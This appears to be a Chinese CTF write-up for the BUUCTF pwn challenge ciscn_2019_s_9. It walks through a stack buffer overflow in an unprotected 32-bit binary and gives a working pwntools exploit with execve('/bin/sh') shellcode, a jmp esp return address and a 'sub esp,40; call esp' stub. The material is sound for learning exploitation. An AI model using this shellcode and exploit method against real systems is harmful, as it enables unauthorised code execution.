[BUUCTF]PWN——ciscn_2019_s_9

ciscn_2019_s_9

参考
例行检查 ,32位,未开启任何保护
在这里插入图片描述
运行一下。
在这里插入图片描述
32位ida载入,,第10行的fgets,能够溢出0x32-0x20-0x4个字节在这里插入图片描述
没用nx保护,首先想到的就是往s里写入shellcode,然后跳转到s执行shellcode
生成的shellcode的长度过长,参数 s0x20(32) 写不下。

shellcode ='''
xor eax,eax             #eax置0
xor edx,edx				#edx置0
push edx				#将0入栈,标记了”/bin/sh”的结尾
push 0x68732f2f         #传递”/sh”,为了4字节对齐,使用//sh,这在execve()中等同于/sh
push 0x6e69622f         #传递“/bin”
mov ebx,esp             #此时esp指向了”/bin/sh”,通过esp将该字符串的值传递给ebx
xor ecx,ecx
mov al,0xB              #eax置为execve函数的中断号
int 0x80                #调用软中断
'''
shellcode=asm(shellcode)

这样写shellcode的长度只有23,能够写入栈
将返回地址写成jump_esp,重新跳到栈上,手动写入sub esp,40;call esp开栈执行,即可获取shell

from pwn import *

p=remote('node3.buuoj.cn',29455)
context(log_level='debug',arch='i386',os='linux')

jump_esp=0x8048554
shellcode='''
xor eax,eax
xor edx,edx
push edx
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
mov al,0xB
int 0x80
'''

shellcode=asm(shellcode)
print len(shellcode)  #23

#shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"

payload=shellcode.ljust(0x24,'\x00')+p32(jump_esp)
print len(payload)  # 40

payload+=asm("sub esp,40;call esp")

p.sendline(payload)
p.interactive()

在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值